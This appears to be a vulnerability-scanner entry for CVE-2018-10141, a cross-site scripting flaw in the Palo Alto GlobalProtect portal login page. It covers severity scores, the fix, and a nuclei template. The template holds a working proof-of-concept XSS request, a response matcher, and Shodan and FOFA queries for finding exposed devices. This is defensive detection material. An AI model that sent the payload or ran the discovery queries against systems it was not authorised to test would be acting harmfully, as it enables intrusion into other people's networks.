Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.

Fix

Upgrade to Palo Alto Networks PAN-OS GlobalProtect VPN client version 8.1.4 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x
Positive when: contains "var valueUser = \"j\";-alert(1)-\"x\";" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-10141 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-10141

info:
  name: Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to Palo Alto Networks PAN-OS GlobalProtect VPN client version 8.1.4 or later to mitigate this vulnerability.
  reference:
    - https://security.paloaltonetworks.com/CVE-2018-10141
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10141
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10141
    cwe-id: CWE-79
    epss-score: 0.03883
    epss-percentile: 0.90317
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve,cve2018,panos,vpn,globalprotect,xss,paloaltonetworks,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var valueUser = "j";-alert(1)-"x";'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from